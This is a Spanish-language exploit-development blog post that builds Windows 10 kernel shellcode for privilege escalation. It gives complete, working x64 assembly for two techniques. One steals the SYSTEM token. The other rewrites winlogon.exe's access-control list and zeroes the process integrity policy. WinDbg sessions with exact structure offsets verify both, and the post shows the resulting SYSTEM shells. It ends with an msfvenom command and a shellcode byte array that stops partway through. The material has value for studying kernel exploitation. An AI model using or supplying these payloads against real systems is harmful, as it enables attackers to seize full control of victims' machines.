xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



Exploit Development

Kernel Shellcode


Después de explotar una vulnerabilidad en el kernel necesitamos un shellcode que nos ejecute algo, más específicamente que nos de privilegios elevados en el equipo, por ello en este post crearemos desde 0 varios shellcodes para elevar privilegios.

A diferencia del shellcode en modo de usuario que puede tener múltiples propósitos como ejecutar comandos o enviar una reverse shell, el shellcode en modo kernel se centra en un único propósito: escalar privilegios y convertirse en nt authority\system.

Es necesario mencionar que los shellcodes se crearán usando la última versión de Windows 10 siendo la 22H2 la más relevante, si se usa otra versión de Windows más antigua puede ser necesario cambiar algunos offsets por cambios en las estructuras.

C:\Users\user> systeminfo
Nombre de host:                            Windows
Nombre del sistema operativo:              Microsoft Windows 10 Pro
Versión del sistema operativo:             10.0.19045 N/D Compilación 19045
Fabricante del sistema operativo:          Microsoft Corporation


Token Stealing


La primera técnica es algo llamado Token Stealing que consiste en copiar token de un proceso privilegiado al proceso actual robando con él sus privilegios, resulta que en windows existe un proceso llamado SYSTEM al cual le pertenece el pid 4, este alberga la mayoria de subprocesos del sistema en modo kernel, ya que alberga la ejecución del código en modo kernel este debería estar en un contexto de privilegios de administrador por lo que podemos usarlo como base para nuestro shellcode.

0: kd> !process 0 0 System
PROCESS ffff8688a5c99080
    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 001ad000  ObjectTable: ffffb60e7c05bf00  HandleCount: 3042.
    Image: System

La dirección que nos otorga el primer resultado es la de la estructura _EPROCESS de SYSTEM, entre los atributos de la estructura en el offset 0x4b8 encontramos lo primero interesante para nuestro shellcode, esto es el campo Token del proceso.

0: kd> dt nt!_EPROCESS 0xffff8688a5c99080
   +0x000 Pcb              : _KPROCESS
   +0x438 ProcessLock      : _EX_PUSH_LOCK
   +0x440 UniqueProcessId  : 0x00000000`00000004 Void
   +0x448 ActiveProcessLinks : _LIST_ENTRY [ 0xffff8688`a5d084c8 - 0xfffff807`04a1e0d0 ]
   +0x458 RundownProtect   : _EX_RUNDOWN_REF
   +0x460 Flags2           : 0xd000
   ................................
   +0x4b0 ExceptionPortData : (null) 
   +0x4b0 ExceptionPortValue : 0
   +0x4b0 ExceptionPortState : 0y000
   +0x4b8 Token            : _EX_FAST_REF

El campo Token se muestra como una estructura _EX_FAST_REF, esta almacena 3 atributos entre los cuales cambia solo el tipo de dato, ya que el offset se mantiene.

0: kd> dt nt!_EX_FAST_REF
   +0x000 Object           : Ptr64 Void
   +0x000 RefCnt           : Pos 0, 4 Bits
   +0x000 Value            : Uint8B

En esta estructura se almacena nuestro token, esto podemos verlo accediendo al valor en el offset 0x4b8 del proceso, luego limpiaremos el valor de RefCnt.

0: kd> dt nt!_EX_FAST_REF 0xffff8688a5c99080 + 0x4b8
   +0x000 Object           : 0xffffb60e`7c036895 Void
   +0x000 RefCnt           : 0y0101
   +0x000 Value            : 0xffffb60e`7c036895

El campo RefCnt es igual a 0y0101 que equivale a 5 en decimal, usando and podemos limpiar el ultimo bit, el resultado que obtenemos es 5, lo que nos interesa es el valor opuesto, osea el token con este bit limpio, para ello usaremos & -0xf.

0: kd> ? 0y0101
Evaluate expression: 5 = 00000000`00000005

0: kd> ? 0xffffb60e7c036895 & 0xf
Evaluate expression: 5 = 00000000`00000005

0:000> ? 0xffffb60e7c036895 & -0xf
Evaluate expression: -81301650315119 = ffffb60e`7c036891

De esta forma tenemos el token sin procesar, en este punto podemos copiarlo a otro proceso, nada mejor que hacerlo a una cmd.exe para comprobar su funcionamiento.

Microsoft Windows [Versión 10.0.19045.4651]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Users\user> whoami
windows\user

C:\Users\user>

Después de generar el proceso identificaremos la dirección del proceso, luego de ello podemos sobrescribir el token por el que conseguimos anteriormente de SYSTEM.

0: kd> !process 0 0 cmd.exe
PROCESS ffff8688ad974080
    SessionId: 1  Cid: 1e5c    Peb: c21129d000  ParentCid: 14e0
    DirBase: ac421000  ObjectTable: ffffb60e8166c3c0  HandleCount:  80.
    Image: cmd.exe

0: kd> eq (0xffff8688ad974080 + 0x4b8) 0xffffb60e7c036891

0: kd> g

Como resultado, al volver a la cmd.exe y comprobar el usuario y privilegios, ahora es nt authority\system ya que hemos suplantado todos los privilegios con el token.

C:\Users\user> whoami
nt authority\system

C:\Users\user>

El plan es hacer algo similar a lo de antes desde un shellcode pero en lugar de una cmd al proceso actual, pero para ello primero necesitamos obtener la dirección del token en el proceso actual, según documentación la función PsGetCurrentProcess deberia devolver un puntero al EPROCESS actual, podemos partir de esa base.

0: kd> u nt!PsGetCurrentProcess L3
nt!PsGetCurrentProcess:
fffff807`04086700 65488b042588010000 mov   rax,qword ptr gs:[188h]
fffff807`04086709 488b80b8000000     mov   rax,qword ptr [rax+0B8h]
fffff807`04086710 c3                 ret

La primera instrucción de PsGetCurrentProcess utiliza el segmento gs con un offset de 0x188, esto es el puntero a la entrada KTRHEAD en la estructura ETHREAD, podemos verificar que KiInitialThread representa la dirección del hilo actual, sin embargo necesitamos la dirección del proceso padre pero es un buen avance.

0: kd> dqs gs:[0x188] L1
002b:00000000`00000188  ffff8688`a5cdf080

0: kd> !thread -p
PROCESS ffff8688a5c99080
    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 001ad000  ObjectTable: ffffb60e7c05bf00  HandleCount: 2965.
    Image: System

THREAD ffff8688a5cdf080  Cid 0004.0070  Teb: 0000000000000000 Win32Thread: 0000000000000000 RUNNING on processor 0
Not impersonating

La siguiente instrucción de PsGetCurrentProcess mueve el contenido de la dirección anterior más un offset de 0xb8, la lógica nos dice que esta será la dirección del proceso actual ya que la siguiente es un ret, esto podemos comprobarlo desplegando la estructura _EPROCESS y pasándole como valor lo que creemos es la dirección del proceso actual, se muestra el PID 4 de system por lo que es correcto.

0: kd> dt nt!_EPROCESS poi(nt!KiInitialThread + 0xb8)
   +0x000 Pcb              : _KPROCESS
   +0x438 ProcessLock      : _EX_PUSH_LOCK
   +0x440 UniqueProcessId  : 0x00000000`00000004 Void
   +0x448 ActiveProcessLinks : _LIST_ENTRY [ 0xffff8688`a5d084c8 - 0xfffff807`04a1e0d0 ]
   +0x458 RundownProtect   : _EX_RUNDOWN_REF
   +0x460 Flags2           : 0xd000

Iniciemos a escribir el shellcode, las instrucciones de PsGetCurrentProcess nos servirán para obtener la dirección del proceso actual que guardaremos en rbx.

global _start

_start:
    mov rdx, [gs:0x188]              ; $rdx = _KTHREAD
    mov rax, [rdx + 0xb8]            ; $rax = _EPROCESS
    mov rbx, rax                     ; $rbx = _EPROCESS

Un elemento interesante de _EPROCESS es el campo ActiveProcessLinks que es una estructura _LIST_ENTRY, esta es una lista doblemente enlazada que quiere decir que cada elemento apunta al anterior y siguiente elemento, esta lista se encarga del registro de todos los procesos activos por lo que deberiamos encontrar a SYSTEM.

0: kd> dt nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x438 ProcessLock      : _EX_PUSH_LOCK
   +0x440 UniqueProcessId  : Ptr64 Void
   +0x448 ActiveProcessLinks : _LIST_ENTRY
   +0x458 RundownProtect   : _EX_RUNDOWN_REF
   +0x460 Flags2           : Uint4B

0: kd> dt nt!_LIST_ENTRY
   +0x000 Flink            : Ptr64 _LIST_ENTRY
   +0x008 Blink            : Ptr64 _LIST_ENTRY

Podemos escribir un bucle que se encargue de recorrer esta lista y comparar el PID del proceso con 4, el cual pertenece a SYSTEM hasta encontrar su dirección.

    .loop:
        mov rbx, [rbx + 0x448]       ; $rbx = ActiveProcessLinks
        sub rbx, 0x448               ; $rbx = _EPROCESS
        cmp qword [rbx + 0x440], 0x4 ; cmp PID to SYSTEM PID
        jnz .loop                    ; if zf == 0 -> loop

Una vez encontramos la estructura del proceso SYSTEM podemos obtener el token de este y copiarlo a nuestro proceso actual, no sin antes limpiar el valor RefCnt.

    mov rcx, [rbx + 0x4b8]           ; $rcx = SYSTEM token
    and cl, 0xf0                     ; clear _EX_FAST_REF struct
    mov [rax + 0x4b8], rcx           ; store SYSTEM token in _EPROCESS

Para finalizar podriamos simplemente retornar al proceso original que ejecutó el shellcode con ret y continuar su ejecución normal sin que haya errores de kernel.

    ret                              ; return

Nuestro shellcode final para token stealing se ve de la siguiente forma, mediante un bucle recorre toda la lista de procesos hasta encontrar el proceso 4 de System, cuando lo encuentra copia su campo Token al mismo campo del proceso actual.

global _start

_start:
    mov rdx, [gs:0x188]              ; $rdx = _KTHREAD
    mov rax, [rdx + 0xb8]            ; $rax = _EPROCESS
    mov rbx, rax                     ; $rbx = _EPROCESS

    .loop:
        mov rbx, [rbx + 0x448]       ; $rbx = ActiveProcessLinks
        sub rbx, 0x448               ; $rbx = _EPROCESS
        cmp qword [rbx + 0x440], 0x4 ; cmp PID to SYSTEM PID
        jnz .loop                    ; if zf == 0 -> loop

    mov rcx, [rbx + 0x4b8]           ; $rcx = SYSTEM token
    and cl, 0xf0                     ; clear _EX_FAST_REF struct
    mov [rax + 0x4b8], rcx           ; store SYSTEM token in _EPROCESS

    ret                              ; return

Su uso es simple, luego de explotar una vulnerabilidad y ejecutar el shellcode habremos modificado el token del proceso actual por el de SYSTEM, al lanzar una cmd.exe conseguimos obtener una shell con privilegios máximos sobre el equipo.

system("cmd.exe");

C:\Users\user\Desktop> whoami
windows\user

C:\Users\user\Desktop> exploit.exe
Microsoft Windows [Versión 10.0.19045.4651]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Users\user\Desktop> whoami
nt authority\system

C:\Users\user\Desktop>


ACL Editing


La siguiente técnica en en verdad la actualización de un método que anulaba la ACL de un proceso del sistema para que cualquier usuario tenga privilegios Full Control sobre él, en versiones actuales dejó de funcionar, iniciemos analizando la ACL que guarda los privilegios, el proceso que utilizaremos para el shellcode es winlogon.exe, este no tiene un pid fijo pero es un proceso que siempre tendrá los privilegios de un administrador, con el comando !object podemos obtener el campo Header.

0: kd> !process 0 0 winlogon.exe
PROCESS ffffe20d3e19c080
    SessionId: 1  Cid: 0254    Peb: f901e13000  ParentCid: 01fc
    DirBase: 10bbbf000  ObjectTable: ffff9e8c274a0b00  HandleCount: 281.
    Image: winlogon.exe

0: kd> !object 0xffffe20d3e19c080
Object: ffffe20d3e19c080  Type: (ffffe20d3acb17a0) Process
    ObjectHeader: ffffe20d3e19c050 (new version)
    HandleCount: 15  PointerCount: 458230

La estructura _OBJECT_HEADER de cada proceso contiene un atributo interesante llamado SecurityDescriptor en el offset 0x28, este atributo contiene la ACL del objeto y esta define que usuario puede acceder al objeto y con que permisos.

0: kd> dt nt!_OBJECT_HEADER 0xffffe20d3e19c050
   +0x000 PointerCount     : 0n458230
   +0x008 HandleCount      : 0n15
   +0x008 NextToFree       : 0x00000000`0000000f Void
   +0x010 Lock             : _EX_PUSH_LOCK
   +0x018 TypeIndex        : 0xde ''
   +0x019 TraceFlags       : 0 ''
   +0x019 DbgRefTrace      : 0y0
   +0x019 DbgTracePermanent : 0y0
   +0x01a InfoMask         : 0x88 ''
   +0x01b Flags            : 0 ''
   +0x01b NewObject        : 0y0
   +0x01b KernelObject     : 0y0
   +0x01b KernelOnlyAccess : 0y0
   +0x01b ExclusiveObject  : 0y0
   +0x01b PermanentObject  : 0y0
   +0x01b DefaultSecurityQuota : 0y0
   +0x01b SingleHandleEntry : 0y0
   +0x01b DeletedInline    : 0y0
   +0x01c Reserved         : 0x8930eb74
   +0x020 ObjectCreateInfo : 0xfffff800`6ae53a40 _OBJECT_CREATE_INFORMATION
   +0x020 QuotaBlockCharged : 0xfffff800`6ae53a40 Void
   +0x028 SecurityDescriptor : 0xffff9e8c`1fa47e2d Void
   +0x030 Body             : _QUAD

En explotaciones realizadas en las versiones antiguas de Windows 10 simplemente anulaba el SecurityDescriptor, como resultado si mirabamos con Process Explorer los permisos de un proceso se podia ver de esta forma y al no estar asignado a nadie cualquier usuario tenía Full Control sobre él, sin embargo esto ha cambiado para versiones más nuevas como explica la siguiente investigación de nettitude.

Si en una versión actual de Windows anulamos el SecurityDescriptor el resultado es un BSOD de tipo BAD_OBJECT_HEADER diciendo que tiene un valor inválido.

0: kd> eq 0xffffe20d3e19c050 + 0x28 0

0: kd> g
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x00000189 (0xFFFFE20D3E19C050,0xFFFFE20D416127F0,0x0000000000000001,0x0000000000000000)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

nt!DbgBreakPointWithStatus:
fffff803`2a6077a0 cc              int     3

0: kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

BAD_OBJECT_HEADER (189)
The OBJECT_HEADER has been corrupted
Arguments:
Arg1: ffffe20d3e19c050, Pointer to bad OBJECT_HEADER
Arg2: ffffe20d416127f0, Pointer to the resulting OBJECT_TYPE based on the TypeIndex in the OBJECT_HEADER
Arg3: 0000000000000001, The object security descriptor is invalid.
Arg4: 0000000000000000, Reserved.

Lo único que nos queda es buscar una forma de asignar privilegios Full Control sin anularlo, para ello tendremos que entender como funciona el SecurityDescriptor, lo interesante de la estructura _SECURITY_DESCRIPTOR es el atributo Dacl que es una estructura _ACL que especifica el acceso que tienen diferentes usuarios al objeto.

0: kd> dt nt!_SECURITY_DESCRIPTOR
   +0x000 Revision         : UChar
   +0x001 Sbz1             : UChar
   +0x002 Control          : Uint2B
   +0x008 Owner            : Ptr64 Void
   +0x010 Group            : Ptr64 Void
   +0x018 Sacl             : Ptr64 _ACL
   +0x020 Dacl             : Ptr64 _ACL

0: kd> dt nt!_ACL
   +0x000 AclRevision      : UChar
   +0x001 Sbz1             : UChar
   +0x002 AclSize          : Uint2B
   +0x004 AceCount         : Uint2B
   +0x006 Sbz2             : Uint2B

Según documentación en realidad el objeto _ACL solo es un Header y el contenido real se encuentra en sus entradas, para una Dacl hay 2 tipos de ACE, estos son ACCESS_ALLOWED_ACE y ACCESS_DENIED_ACE, nos interesa el primer ACE ya que nos indíca derechos tiene un SID a través de su atributo Mask de tipo ACCESS_MASK.

typedef struct _ACCESS_ALLOWED_ACE {
  ACE_HEADER  Header;
  ACCESS_MASK Mask;
  DWORD       SidStart;
} ACCESS_ALLOWED_ACE;

Utilizando el comando !sd podemos pasarle un puntero al SecurityDescriptor pero antes limpiando el último byte y obtener información de este, el output nos muestra detalladamente que usuarios tienen que privilegios, el AceCount de la DACL es 2 lo que significa que contiene 2 ACE y ambos son de tipo ACCESS_ALLOWED_ACE, uno es para nt authority\system y el otro pertenece al grupo builtin\administradores.

0: kd> !sd (0xffff9e8c1fa47e2d & 0xfffffffffffffff0) 1
->Revision: 0x1
->Sbz1    : 0x0
->Control : 0x8814
            SE_DACL_PRESENT
            SE_SACL_PRESENT
            SE_SACL_AUTO_INHERITED
            SE_SELF_RELATIVE
->Owner   : S-1-5-32-544 (Alias: BUILTIN\Administradores)
->Group   : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
->Dacl    : 
->Dacl    : ->AclRevision: 0x2
->Dacl    : ->Sbz1       : 0x0
->Dacl    : ->AclSize    : 0x3c
->Dacl    : ->AceCount   : 0x2
->Dacl    : ->Sbz2       : 0x0
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[0]: ->AceFlags: 0x0
->Dacl    : ->Ace[0]: ->AceSize: 0x14
->Dacl    : ->Ace[0]: ->Mask : 0x001fffff
->Dacl    : ->Ace[0]: ->SID: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)

->Dacl    : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[1]: ->AceFlags: 0x0
->Dacl    : ->Ace[1]: ->AceSize: 0x18
->Dacl    : ->Ace[1]: ->Mask : 0x00121411
->Dacl    : ->Ace[1]: ->SID: S-1-5-32-544 (Alias: BUILTIN\Administradores)

->Sacl    : 
->Sacl    : ->AclRevision: 0x2
->Sacl    : ->Sbz1       : 0x0
->Sacl    : ->AclSize    : 0x1c
->Sacl    : ->AceCount   : 0x1
->Sacl    : ->Sbz2       : 0x0
->Sacl    : ->Ace[0]: ->AceType: SYSTEM_MANDATORY_LABEL_ACE_TYPE
->Sacl    : ->Ace[0]: ->AceFlags: 0x0
->Sacl    : ->Ace[0]: ->AceSize: 0x14
->Sacl    : ->Ace[0]: ->Mask : 0x00000003
->Sacl    : ->Ace[0]: ->SID: S-1-16-16384 (Label: Etiqueta obligatoria\Nivel obligatorio del sistema)

Esto podemos verlo graficamente con Process Explorer donde nt authority\system tiene privilegios Full Control, la forma que usaremos para tener este acceso será modificar el SID de SYSTEM para asignar estos privilegios a otro grupo con menos privilegios con el que podamos acceder por ejemplo el grupo Usuarios autenticados.

Con este shellcode también iniciamos con las instrucciones de PsGetCurrentProcess que servirán para obtener la dirección del proceso actual que guardaremos en rbx.

global _start

_start:
    mov rdx, [gs:0x188]              ; $rdx = _KTHREAD
    mov rax, [rdx + 0xb8]            ; $rax = _EPROCESS
    mov rbx, rax                     ; $rbx = _EPROCESS

Un elemento interesante de _EPROCESS es el campo ActiveProcessLinks que es una estructura _LIST_ENTRY, esta es una lista doblemente enlazada que quiere decir que cada elemento apunta al anterior y siguiente elemento, esta lista se encarga del registro de los procesos activos por lo que deberiamos encontrar a winlogon.exe.

0: kd> dt nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x438 ProcessLock      : _EX_PUSH_LOCK
   +0x440 UniqueProcessId  : Ptr64 Void
   +0x448 ActiveProcessLinks : _LIST_ENTRY
   +0x458 RundownProtect   : _EX_RUNDOWN_REF
   +0x460 Flags2           : Uint4B

0: kd> dt nt!_LIST_ENTRY
   +0x000 Flink            : Ptr64 _LIST_ENTRY
   +0x008 Blink            : Ptr64 _LIST_ENTRY

En el offset 0x5a8 de _EPROCESS encontramos un atributo ImageFileName, este contiene el nombre del proceso en ascii que será útil para localizar el proceso.

0: kd> dt nt!_EPROCESS 0xffffe20d3e19c080 ImageFileName
   +0x5a8 ImageFileName : [15]  "winlogon.exe"

Podemos escribir un bucle que se encargue de recorrer toda la lista y comparar la cadena winlogon guardada en rcx con el valor en el offset 0x5a8, cuando la comparación sea exitosa significa que ha encontrado el proceso winlogon.exe.

    .loop:
        mov rbx, [rbx + 0x448]              ; $rbx = ActiveProcessLinks
        sub rbx, 0x448                      ; $rbx = _EPROCESS
        mov rcx, 0x6e6f676f6c6e6977         ; $rcx = "winlogon"
        cmp qword [rbx + 0x5a8], rcx        ; ImageFileName == "winlogon"
        jnz .loop

Según la estructura _SECURITY_DESCRIPTOR la estructura _ACL de Dacl se encuentra en el offset 0x20, sin embargo los valores que obtenemos son incorrectos pero si usamos un offset de 0x30 obtenemos los valores reales, esto es bastante curioso y probablemente se deba a que los símbolos no estan actualizados dentro de WinDbg.

0: kd> dt nt!_SECURITY_DESCRIPTOR
   +0x000 Revision         : UChar
   +0x001 Sbz1             : UChar
   +0x002 Control          : Uint2B
   +0x008 Owner            : Ptr64 Void
   +0x010 Group            : Ptr64 Void
   +0x018 Sacl             : Ptr64 _ACL
   +0x020 Dacl             : Ptr64 _ACL

0: kd> dt nt!_ACL 0xffff9e8c1fa47e20 + 0x20
   +0x000 AclRevision      : 0x3 ''
   +0x001 Sbz1             : 0 ''
   +0x002 AclSize          : 0
   +0x004 AceCount         : 0x101
   +0x006 Sbz2             : 0

0: kd> dt nt!_ACL 0xffff9e8c1fa47e20 + 0x30
   +0x000 AclRevision      : 0x2 ''
   +0x001 Sbz1             : 0 ''
   +0x002 AclSize          : 0x3c
   +0x004 AceCount         : 2
   +0x006 Sbz2             : 0

El Header de la ACL ocupa 8 bytes, seguido de los ACE donde se comienza con una estructura _ACE_HEADER que si sumamos sus valores pesa 4 bytes.

typedef struct _ACE_HEADER {
  UCHAR  AceType;
  UCHAR  AceFlags;
  USHORT AceSize;
} ACE_HEADER;

Si realizamos un volcado hexadecimal podemos ver esos 12 bytes de antes y el siguiente dword pertenece a Mask que en este caso es 0x1fffff, esto nos dice que el SID inicia en el offset 0x40, en el offset 0x41 podemos ver el byte 0x1, en el offset 0x47 el byte 0x5 y finalmente en el offset 0x48 el byte 0x12, si pasamos los valores a decimal coincide con el SID S-1-5-18 que pertenece al SID de SYSTEM.

0: kd> db 0xffff9e8c1fa47e20 + 0x30
ffff9e8c`1fa47e50  02 00 3c 00 02 00 00 00-00 00 14 00 ff ff 1f 00  ..<.............
ffff9e8c`1fa47e60  01 01 00 00 00 00 00 05-12 00 00 00 00 00 18 00  ................
ffff9e8c`1fa47e70  11 14 12 00 01 02 00 00-00 00 00 05 20 00 00 00  ............ ...
ffff9e8c`1fa47e80  20 02 00 00 00 00 00 00-00 00 00 00 01 02 00 00   ...............
ffff9e8c`1fa47e90  00 00 00 05 20 00 00 00-20 02 00 00 01 01 00 00  .... ... .......
ffff9e8c`1fa47ea0  00 00 00 05 12 00 00 00-bd ba 00 00 01 bb 00 00  ................
ffff9e8c`1fa47eb0  a2 bb 00 00 19 bd 00 00-64 7d 02 00 e9 7d 02 00  ........d}...}..
ffff9e8c`1fa47ec0  24 be 00 00 6b be 00 00-a4 7e 02 00 4d bf 00 00  $...k....~..M...

Lo que haremos es cambiar ese byte 0x12 o 18 en decimal por el byte 0xb u 11 en decimal, el SID ahora tendrá el valor de S-1-5-11 que según la documentación pertenece al grupo Usuarios autenticados al que deberiamos pertenecer en teoría.

0: kd> db 0xffff9e8c1fa47e20 + 0x48 L1
ffff9e8c`1fa47e68  12

0: kd> eb 0xffff9e8c1fa47e20 + 0x48 0xb

Luego de modificar el valor podemos usar nuevamente el comando !sd para ver los valores, el grupo Usuarios autenticados tiene los privilegios que antes tenía SYSTEM.

0: kd> !sd (0xffff9e8c1fa47e2d & 0xfffffffffffffff0) 1
->Revision: 0x1
->Sbz1    : 0x0
->Control : 0x8814
            SE_DACL_PRESENT
            SE_SACL_PRESENT
            SE_SACL_AUTO_INHERITED
            SE_SELF_RELATIVE
->Owner   : S-1-5-32-544 (Alias: BUILTIN\Administradores)
->Group   : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
->Dacl    : 
->Dacl    : ->AclRevision: 0x2
->Dacl    : ->Sbz1       : 0x0
->Dacl    : ->AclSize    : 0x3c
->Dacl    : ->AceCount   : 0x2
->Dacl    : ->Sbz2       : 0x0
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[0]: ->AceFlags: 0x0
->Dacl    : ->Ace[0]: ->AceSize: 0x14
->Dacl    : ->Ace[0]: ->Mask : 0x001fffff
->Dacl    : ->Ace[0]: ->SID: S-1-5-11 (Well Known Group: NT AUTHORITY\Usuarios autentificados)

->Dacl    : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[1]: ->AceFlags: 0x0
->Dacl    : ->Ace[1]: ->AceSize: 0x18
->Dacl    : ->Ace[1]: ->Mask : 0x00121411
->Dacl    : ->Ace[1]: ->SID: S-1-5-32-544 (Alias: BUILTIN\Administradores)

->Sacl    : 
->Sacl    : ->AclRevision: 0x2
->Sacl    : ->Sbz1       : 0x0
->Sacl    : ->AclSize    : 0x1c
->Sacl    : ->AceCount   : 0x1
->Sacl    : ->Sbz2       : 0x0
->Sacl    : ->Ace[0]: ->AceType: SYSTEM_MANDATORY_LABEL_ACE_TYPE
->Sacl    : ->Ace[0]: ->AceFlags: 0x0
->Sacl    : ->Ace[0]: ->AceSize: 0x14
->Sacl    : ->Ace[0]: ->Mask : 0x00000003
->Sacl    : ->Ace[0]: ->SID: S-1-16-16384 (Label: Etiqueta obligatoria\Nivel obligatorio del sistema)

Si miramos de nuevo desde Process Explorer nos refleja los permisos Full Control.

Desde nuestro código se ve de la siguiente forma, guardamos el SecurityDescriptor de winlogon.exe limpiando el ultimo byte y en el offset 0x48 escribimos un 0xb.

    mov rcx, [rbx - 0x8]                    ; $rcx = SecurityDescriptor
    and cl, 0xf0                            ; clear last byte
    mov byte [rcx + 0x48], 0xb              ; Authenticated Users

Luego de modificar la ACL del proceso winlogon.exe el siguiente paso es crear un hilo y ejecutar un shellcode en modo de usuario con privilegios de SYSTEM, sin embargo al intentarlo obtenemos un error 5 de acceso denegado, esto se debe a que winlogon.exe se ejecuta en un nivel de integridad más alto que exploit.exe.

C:\Users\user\Desktop> exploit.exe
[-] Error opening winlogon process: 5

Afortunadamente el problema no viene de winlogon.exe sino del propio proceso, especificamente del token que se encuentra a un offset 0x4b8 del proceso.

0: kd> !process 0 0 exploit.exe
PROCESS ffff9a8e030ef080
    SessionId: 1  Cid: 1d88    Peb: c93d1dd000  ParentCid: 08fc
    DirBase: 071b0000  ObjectTable: ffffc60ba6d3ef00  HandleCount:  47.
    Image: exploit.exe

0: kd> dt nt!_EPROCESS ffff9a8e030ef080 Token
   +0x4b8 Token : _EX_FAST_REF

Limpiando el último byte podemos mostrar los atributos de la estructura _TOKEN que pertenece al proceso actual, el campo que nos da problemas está a un offset 0xd4 y es MandatoryPolicy el cual tiene un valor asignado de 3 que ahora analizaremos.

0: kd> dt nt!_TOKEN (poi(0xffff9a8e030ef080 + 0x4b8) & 0xfffffffffffffff0)
   +0x000 TokenSource      : _TOKEN_SOURCE
   +0x010 TokenId          : _LUID
   +0x018 AuthenticationId : _LUID
   +0x020 ParentTokenId    : _LUID
   +0x028 ExpirationTime   : _LARGE_INTEGER 0x7fffffff`ffffffff
   +0x030 TokenLock        : 0xffff9a8e`03179b90 _ERESOURCE
   +0x038 ModifiedId       : _LUID
   +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES
   +0x058 AuditPolicy      : _SEP_AUDIT_POLICY
   +0x078 SessionId        : 1
   +0x07c UserAndGroupCount : 0xf
   +0x080 RestrictedSidCount : 0
   +0x084 VariableLength   : 0x1e0
   +0x088 DynamicCharged   : 0x1000
   +0x08c DynamicAvailable : 0
   +0x090 DefaultOwnerIndex : 0
   +0x098 UserAndGroups    : 0xffffc60b`a1a534f0 _SID_AND_ATTRIBUTES
   +0x0a0 RestrictedSids   : (null) 
   +0x0a8 PrimaryGroup     : 0xffffc60b`a842fa70 Void
   +0x0b0 DynamicPart      : 0xffffc60b`a842fa70  -> 0x501
   +0x0b8 DefaultDacl      : 0xffffc60b`a842fa8c _ACL
   +0x0c0 TokenType        : 1 ( TokenPrimary )
   +0x0c4 ImpersonationLevel : 0 ( SecurityAnonymous )
   +0x0c8 TokenFlags       : 0x2a00
   +0x0cc TokenInUse       : 0x1 ''
   +0x0d0 IntegrityLevelIndex : 0xe
   +0x0d4 MandatoryPolicy  : 3

Según documentación el valor 3 es una combinación de los 2 anteriores, el 1 nos dice que el proceso no puede escribir en proceso con un mayor nivel de integridad, afortunadamente podemos establecerlo en 0 para no aplicar ninguna directiva.

Desde el shellcode podemos tomar el token del proceso actual, ahora limpiamos el ultimo byte y finalmente modificamos el byte en el offset 0xd4 por 0x0 anulándolo.

    mov rcx, [rax + 0x4b8]                  ; $rax = Process token
    and cl, 0xf0                            ; clear last byte
    mov byte [rcx + 0xd4], 0x0              ; MandatoryPolicy

Resumiendo, nuestro shellcode busca el proceso winlogon.exe para modificar su ACL de forma que se asignen al grupo Usuarios autenticados los privilegios de System, luego se anulan las directivas de integridad y finalmente retorna con ret.

global _start

_start:
    mov rdx, [gs:0x188]                     ; $rdx = _KTHREAD
    mov rax, [rdx + 0xb8]                   ; $rax = _EPROCESS
    mov rbx, rax                            ; $rbx = _EPROCESS

    .loop:
        mov rbx, [rbx + 0x448]              ; $rbx = ActiveProcessLinks
        sub rbx, 0x448                      ; $rbx = _EPROCESS
        mov rcx, 0x6e6f676f6c6e6977         ; $rcx = "winlogon"
        cmp qword [rbx + 0x5a8], rcx        ; ImageFileName == "winlogon"
        jnz .loop                           ; if zf == 0 -> loop

    mov rcx, [rbx - 0x8]                    ; $rcx = SecurityDescriptor
    and cl, 0xf0                            ; clear last byte
    mov byte [rcx + 0x48], 0xb              ; Authenticated Users

    mov rcx, [rax + 0x4b8]                  ; $rax = Process token
    and cl, 0xf0                            ; clear last byte
    mov byte [rcx + 0xd4], 0x0              ; MandatoryPolicy

    ret                                     ; return

Hay que tener en cuenta que para usar este método necesitaremos un shellcode el cual se ejecutará bajo el proceso winlogon.exe, lo podemos crear con msfvenom.

❯ msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=none -f csharp

BYTE shellcode[275] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
    0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
    0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
    0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
    0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
    0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
    0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
